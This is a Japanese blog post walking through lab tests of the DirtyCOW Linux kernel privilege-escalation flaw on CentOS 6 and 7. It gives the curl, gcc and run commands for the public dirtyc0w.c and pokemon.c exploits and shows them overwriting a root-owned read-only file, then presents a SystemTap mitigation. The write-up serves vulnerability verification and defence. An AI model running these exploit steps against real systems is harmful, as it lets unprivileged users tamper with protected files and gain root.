ちょっと書くのが遅くなってしまいました。
もう一日くらい早く公開できればよかったですね。
※優しいマサカリお待ちしております。
※色々と知らない部分や解らない点があるため、有識者の方から見ると「は?」というところがあるかもしれませんが、何卒ご了承ください。
※本脆弱性の悪用はしないでください。
DirtyCOW(CVE-2016-5195)とは
2016年10月21日(辺り)に注意喚起された Linux Kernel の脆弱性です
内容は Linuxカーネルのメモリサブシステム内におけるcopy-on-write(COW)の取り扱いで競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される ものらしいです。
これが悪用されると 特権のないローカルユーザーが読み取り専用であるはずのメモリマッピング領域への書き込み権限を取得し、システム上で自らの権限を昇格させることが可能になる とのこと。
更にタチが悪いのが、SELinuxの影響を受けず かつ ログへの痕跡も残さない というところでしょうか。
情報は色々あるので本脆弱性で検索してみると楽しいかもしれません。
公式サイト: https://dirtycow.ninja
JPCERT: http://jvn.jp/vu/JVNVU91983575/
RedHat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1384344
SIOS OSS: https://oss.sios.com/security/kernel-security-20161021
Internet Watch: http://internet.watch.impress.co.jp/docs/news/1026318.html
とりあえずの理解としては、一般ユーザでは書き込めないファイルにも、この脆弱性を利用することで書き込めるようになってしまう ということでしょうか。
試そう! DirtyCOW (dirtyc0w.c)
どうせなら脆弱性がどんなものなのか確かめたいですよね。
ということで、詳しいことはよくわからないけどとりあえず試してみることに。
検証に使用するOS
OS | Version | Kernel |
---|---|---|
CentOS | 6.8 | 2.6.32-642.6.1.el6.x86_64 |
CentOS | 7.2.1511 | 3.10.0-327.13.1.el7.x86_64 |
アジャイル(株)さんに dirtyc0w.c
の検証方法が書いてあったため、早速試してみることにしました。
https://www.agilegroup.co.jp/technote/dirty-cow.html
因みにPoCは結構たくさんあり、上記以外のPoCは以下にあります。
PoCリスト: https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
たくさんあるので、どれをやってもいいと思います。
CentOS6 における dirtyc0w.c
1. ログインとディレクトリ作成+移動
まずは適当な一般ユーザでログインします。
本エントリではとりあえず test
ユーザとしておきます。
ログインしたらホームディレクトリに適当な作業用ディレクトリを作り、移動します。
[test@CentOS6 ~]$ mkdir dirtyc0wd
[test@CentOS6 ~]$ cd dirtyc0wd
2. 検証用ファイルの作成と権限変更
ここに検証用のファイルを作成します。
作成するファイルは適当なテキストファイルです。ファイル名も内容も何でも良いのですが、ここではファイル名を foo
とし、内容を this is not a test
としています。
また、ファイル作成後、パーミッションにちょっとした細工をします。
パーミッションを変更し、rootユーザ と その他のユーザが 読み取れるようにします。
r-----r--
とするような感じです。
数字であれば 404
ですね。
また、ファイルのオーナーとグループも rootとします。
普通に作ってしまうと単純に test
が所有者になってしまいますからね。
では以下のコマンドを打ち込んでいきます。
[test@CentOS6 dirtyc0wd]$ sudo -s
[root@CentOS6 dirtyc0wd]# echo this is not a test > foo
[root@CentOS6 dirtyc0wd]# chmod 0404 foo
[root@CentOS6 dirtyc0wd]# exit
[test@CentOS6 dirtyc0wd]$ ls -lah foo
-r-----r--. 1 root root 19 10月 25 15:07 2016 foo
[test@CentOS6 dirtyc0wd]$ cat foo
this is not a test
ファイルのパーミッションとオーナー、グループを変更しました。
これでroot権限でない限りファイルへの書き込みはできないはずです。
脆弱性を使うと、このファイルの内容を書き換えることができます。
3. ソースコードのダウンロード
GitHubで公開されていのソースコードをダウンロードします。
今回はcurlで-Oオプションを指定して引っ張ってきます。
[test@CentOS6 dirtyc0wd]$ curl -O https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
4. ソースコードのコンパイル
ダウンロードしたソースコードはCなのでコンパイルします。
gcc
がインストールされていない場合はyumで引っ張ってきてください。
[test@CentOS6 dirtyc0wd]$ gcc -lpthread dirtyc0w.c -o dirtyc0w
これで dirtyc0w
という実行用バイナリが作成されました。
5. 実際に実行してみる(dirtyc0w.c)
それではこの dirtyc0w
を実行してみます。
書式は以下のようになっています。
./dirtyc0w 書き換え対象のファイル 書き換える内容
今回の場合、「ファイル foo
の内容を m00000000000000000
に書き換える」といった感じです。
それでは実行。
完了までにはちょっと時間が掛かります。
[test@CentOS6 dirtyc0wd]$ ./dirtyc0w foo m00000000000000000
mmap 7f87280b4000
madvise 0
procselfmem -100000000
プロンプトが戻ってきたら実行完了です。
6. ファイル内容確認
ではファイルの内容を確認してみましょう。
[test@CentOS6 dirtyc0wd]$ cat foo
this is not a test
内容は一切変わっていません。
そうなんです。
CentOSの5,6系であれば、上記の dirtyc0w
のPoCは動作しないらしいのです。
これはソースコードのコメント部分にもはっきり書いてあるのですが、本当に動作しないのか?という検証も兼ねて実施してみました。
では、CentOS7ではどうでしょう。
kernelのアップグレードを実施していないCentOS7で、 dirtyc0w
を実行してみましょう。
CentOS7 における dirtyc0w.c
実施することはCentOS6と同じなので、1~4をその通り実行してください。
一通り終えたらコマンドを実行してみましょう。
[test@CentOS7 dirtyc0wd]$ ./dirtyc0w foo m00000000000000000
mmap 7f827d706000
madvise 0
procselfmem 1800000000
ファイルの内容を確認してみます。
[test@CentOS7 dirtyc0wd]$ cat foo
m00000000000000000
見事に指定した文字列に変わっています。
脆弱性を悪用することにより、こういった形でファイルを書き換えることができてしまうようです。
こわい。
パーミッションから「その他のユーザ」の読み取り権を消すとどうなるか
ファイル foo
のパーミッションを見てもらうと分かる通りだが、そのファイルのオーナーであるrootユーザ以外に、 その他のユーザ も読み取れるようになっています。
試しにこの その他のユーザ の読み取り権限を消した状態でコマンドを実行してみましょう。
[test@CentOS7 dirtyc0wd]$ sudo chmod o-r foo
[test@CentOS7 dirtyc0wd]$ ls -lah foo
-r--------. 1 root root 19 10月 25 15:07 2016 foo
コマンドを実行し、ファイルの内容を確認してみます。
[test@CentOS7 dirtyc0wd]$ ./dirtyc0w foo this is not a test
mmap ffffffffffffffff
madvise -100000000
procselfmem -100000000
[test@CentOS7 dirtyc0wd]$ sudo cat foo
m00000000000000000
当たり前ですが変わっていません。
冒頭の脆弱性の説明でもありましたが、一般ユーザでも読み取れるファイルでないと内容の書き換えはできません。
しかしそれは裏を返せば 一般ユーザが読み取れるファイルであれば問答無用で書き換えることが可能である ということになるかと。
Webコンテンツのファイルは勿論のこと、/etc
以下のファイルや、コマンドPATHのディレクトリ以下のファイルなんかも書き換えができてしまうはずです。
悪用されたらLinuxサーバは使い物にならなくなってしまいますね。
こわい。
試そう! DirtyCOW (pokemon.c)
さて、 dirtyc0w.c 以外にも、PoCリストからもう一つ選んで実行してみることにします。
使用するのは pokemon.c
というソースコード。
これは "pokeball" というファイルをポケモンボールに見立て、ファイル内の文字列 "pikachu" を "miltank" に変えてしまうものです。
ユーモアに溢れていますね。
ロジックとかFamilyに違いはあると思うのですが、おおまかな動作は dirtyc0w.c と同じだと思います。
検証に使用するOS(dirtyc0w.c の時と同じ)
OS | Version | Kernel |
---|---|---|
CentOS | 6.8 | 2.6.32-642.6.1.el6.x86_64 |
CentOS | 7.2.1511 | 3.10.0-327.13.1.el7.x86_64 |
CentOS6 における pokemon.c
1. ログインとディレクトリ作成+移動
またも適当な一般ユーザでログインし、作業用ディレクトリを作成し移動します。
[test@CentOS6 ~]$ mkdir pokemond
[test@CentOS6 ~]$ cd pokemond
あとは pokemon.c のソースコードにコメントとして書いてある通りにコマンドを実行していくだけです。
これも大まかな流れは dirtyc0w.c の時と同じですね。
一部元々のコメントから変更している部分もありますが、ファイルを作成して、権限を変更し、ソースコードをダウンロードしコンパイルする。といった流れになっています。
2. 検証用ファイルの作成と権限変更
ここでは tee
コマンドを使っています。
[test@CentOS6 pokemond]$ echo pikachu|sudo tee pokeball
pikachu
[test@CentOS6 pokemond]# sudo chmod 0404 pokeball
[test@CentOS6 pokemond]$ ls -l pokeball
-r-----r--. 1 root root 8 10月 25 19:17 2016 pokeball
3. ソースコードのダウンロード
[test@CentOS6 pokemond]$ curl -O https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/pokemon.c
4. ソースコードのコンパイル
[test@CentOS6 pokemond]$ gcc -pthread pokemon.c -o d
5. 実際に実行してみる(pokemon.c)
一通り終わったらバイナリを実行します。
書式も dirtyc0w.c と同じですね。
[test@CentOS6 pokemond]$ ./d pokeball miltank
pokeball
(___)
(o o)_____/
@@ ` \
\ ____, /miltank
// //
^^ ^^
mmap b1baf000
madvise 0
ptrace 0
実行されました。
お尻から書き換える文字が出ているのがCuteです。
6. ファイル内容確認
ファイルの内容を確認してみましょう。
[test@CentOS6 pokemond]$ cat pokeball
miltank[test@CentOS6 pokemond]$
!!!
なんと、変わっています。
予め書き込んでおいた pikachu
ではなく miltank
の文字が出力されてしまっています。
dirtyc0w.c
では変わらなかったCentOS6が、 pokemon.c
では脆弱性を良いように使われてしまっています。
私はCは頭の部分を少しかじったことしかないのでソースコードが全然読めません。
そのため、何故 dirtyc0w.c
ではできなかったのに pokemon.c
でできてしまったのかよく分かっていません。
詳しい方がいらっしゃれば教えていただきたいです。
CentOS7 における pokemon.c
CentOS7でも同じくpokemon.cを試してみます。
実施することはやはりCentOS6と同じなので、1~4をその通り実行した後、コマンドを実行してみましょう。
[test@CentOS7 pokemond]$ ./d pokeball miltank
pokeball
(___)
(o o)_____/
@@ ` \
\ ____, /miltank\n
// //
^^ ^^
mmap 7e43e000
madvise 0
ptrace 0
実行されました。
ファイルの内容を確認してみましょう。
[test@CentOS7 pokemond]$ cat pokeball
miltank[test@CentOS7 pokemond]$
はい。書き換わってしまっています。
pokemon.c
の場合はCentOS6でも7でも脆弱性を使えてしまうようです。
DirtyCOW対策
スタンダードなRHELの6,7系を使っている場合は既に対策済のパッケージが出ているはずですので、そちらにアップグレードしましょう。
https://access.redhat.com/security/vulnerabilities/2706661
本エントリ執筆時点(10月26日現在)では6,7系はパッケージが公開されています。
5系は、RedHatでは残念なことに "Pending(保留)" となっています。
もう少し経てば公開されるかもしれません。
また、パッチが出るまでの一時的な回避策がありますので、そちらを紹介しておきます。
これもアジャイル(株)さんのところに書いてありました。
RedHat Bugzillaにも書いてあります。
本エントリではアジャイル(株)さんに書いてあるものを少し変えてあります。
利用するツールと必要パッケージ郡
この回避策では、 SystemTap
というツールを使います。
このツール内には stap
というコマンドがあり、これはスクリプト言語として動作するようです。
紹介されている回避策では、この stap
を用いて定義したスクリプトを読み込ませ、Linux kernelを一時的に制御しているっぽいです(という説明をしていますが、多分間違っていると思います。というかこの辺りの話は初見なこともあり全然わかりませんでした)。
まずはこの SystemTap
パッケージと、関連する必要なパッケージがLinuxにインストールされていることを確認します。
- 実行しているカーネルの
kernel-devel
- 実行しているカーネルの
kernel-debuginfo
- 実行しているカーネルの
kernel-debuginfo-common
gcc
systemtap
rpmかyumでインストールパッケージを確認してみましょう。
インストールされていないパッケージがあれば、インストールする必要があります。
1. ログインとディレクトリ作成+移動
またまた適当な一般ユーザでログインし、作業用ディレクトリを作成し移動します。
[test@CentOS6 ~]$ mkdir dirtycowstapd
[test@CentOS6 ~]$ cd dirtycowstapd
2. yumリポジトリの整備
kernel-devel
, gcc
, systemtap
は標準リポジトリ内にありますが、 kernel-debuginfo
, kernel-debuginfo-common
は、存在していません。
そのため、まずはyumのリポジトリからインストールします。
※アジャイル(株)さんの検証ではrpmを引っ張ってきていましたが、yumで済ませたかったので本エントリではyumでのインストールに変えています。
[test@CentOS6 dirtycowstapd]$ sudo yum install yum-plugin-auto-update-debug-info.noarch
上記コマンドでリポジトリを追加すると、 /etc/yum.repos.d/
の下に、 CentOS-Debuginfo.repo
というファイルが作成されるはずです。
[test@CentOS6 dirtycowstapd]$ ls -la /etc/yum.repos.d/CentOS-Debuginfo.repo
-rw-r--r--. 1 root root 647 5月 19 04:47 2016 /etc/yum.repos.d/CentOS-Debuginfo.repo
これがインストールしたリポジトリになります。
このリポジトリを利用すれば、kernel-debuginfo
, kernel-debuginfo-common
をインストールすることができます。
3. パッケージのインストール
では、kernel-debuginfo
, kernel-debuginfo-common
, systemtap
をインストールしましょう。
CentOS-Debuginfo.repo は、通常無効化されているので、インストールする際は --enablerepo
オプションでdebuginfoリポジトリ一時的に有効化してインストールします。
[test@CentOS6 dirtycowstapd]$ sudo yum install --enablerepo=base-debuginfo kernel-debuginfo-$(uname -r) kernel-debuginfo-common-$(uname -p)-$(uname -r) kernel-devel gcc systemtap
kernel-debuginfo
と kernel-debuginfo-common
でkernelのリリース番号を指定している理由は、CentOS6では指定しない場合末尾に「centos.plus」と付いたパッケージがインストールされてしまったためです。
最初はそれで試したのですが、どうにもSystemTapが動かなかったため、 $(uname -r)
でリリース番号を指定したものを再インストールしました。
また、kernel-debuginfo-common
ではパッケージ名にプロセッサ名が指定されていたため、 $(uname -p)
を使っています。
4. スクリプトファイル作成
SystemTapで読み込ませるスクリプトファイルを作成します。
[test@CentOS6 dirtycowstapd]$ vi dcow.stp
内容は以下のようにします。
probe kernel.function("mem_write").call ? {
$count = 0
}
probe syscall.ptrace { // includes compat ptrace as well
$request = 0xfff
}
probe begin {
printk(0, "CVE-2016-5195 mitigation loaded")
}
probe end {
printk(0, "CVE-2016-5195 mitigation unloaded")
}
5. SystemTapの実行
ファイルを作成したら、SystemTapを実行します。
使うのは冒頭でも説明した通り stap
というコマンドです。
-g
オプションで先程作成したファイルを指定します。
この -g
オプションですが、どうやらCの構文を組み込ませることが出来るようです。
Guru mode というらしいのですが、上級者向けオプションですかね。
因みにdebuginfo関連のパッケージが不足していると、以下のようなエラーが出力され動作しませんでした。
[test@CentOS6 dirtycowstapd]$ sudo stap -g dcow.stp
semantic error: while resolving probe point: identifier 'syscall' at dcow.stp:5:7
source: probe syscall.ptrace { // includes compat ptrace as well
^
semantic error: no match
Pass 2: analysis failed. [man error::pass2]
正常であれば以下のような出力がされます。
[test@CentOS6 dirtycowstapd]$ sudo stap -g dcow.stp
Message from syslogd@dcvm432 at Oct 26 12:35:58 ...
kernel:CVE-2016-5195 mitigation loaded
実行するとフォアグラウンドで動作するようになります。
Ctrl+Cでは止まってしまうので、実際に使用する際はバックグラウンドで使用することになるかと思います。
さて、これでもう一度 pokemon.c を実行してみましょう。
6. 実際に実行してみる(pokemon.c)
対策を講じた上で再度実行してみましょう。
[test@CentOS6 dirtycowstapd]$ ./d pokeball Madatsubomi
pokeball
(___)
(o o)_____/
@@ ` \
\ ____, /Madatsubomi
// //
^^ ^^
mmap 5d1000
ここまでは出力されました。
しかし、ここから全く動きません。
とりあえず4時間近く放置してみましたが、一切進行がありませんでした。
一応 dmesg
コマンドと /var/log/messages
を確認してみましたが、そもそもこの脆弱性自体 ログに痕跡を残さない ものであるためか、 CVE-2016-5195 mitigation loaded
以外のログが出力されていませんでした。
これ以上放置しても仕方ないと考え、停止しました。
とりあえず大丈夫という理解でも良いかもしれません。
ただし上記は飽くまでも一時的な回避策に過ぎません。
アップデートパッケージのリリースが待たれますね。
所感
kernelの脆弱性ということで、公開されているPoCの実行を始めてみたら楽しくなってきて勢い余って本記事にまとめてしまいましたが、わからないことが多すぎますね。
ひとまず一般ユーザに読み取り権限があるファイルであれば恐らく軒並み書き換えが可能っぽい(?)ので、本当に注意してください。
外からの攻撃もですがもちろん内部犯にも。。。
あと、kernel作成に携わっている方、脆弱性を発見した方、PoCを作成した方、回避策を考えた方、対策済みパッケージを作成した方は、本当にすごいなあと思いました(小並感)。
以上。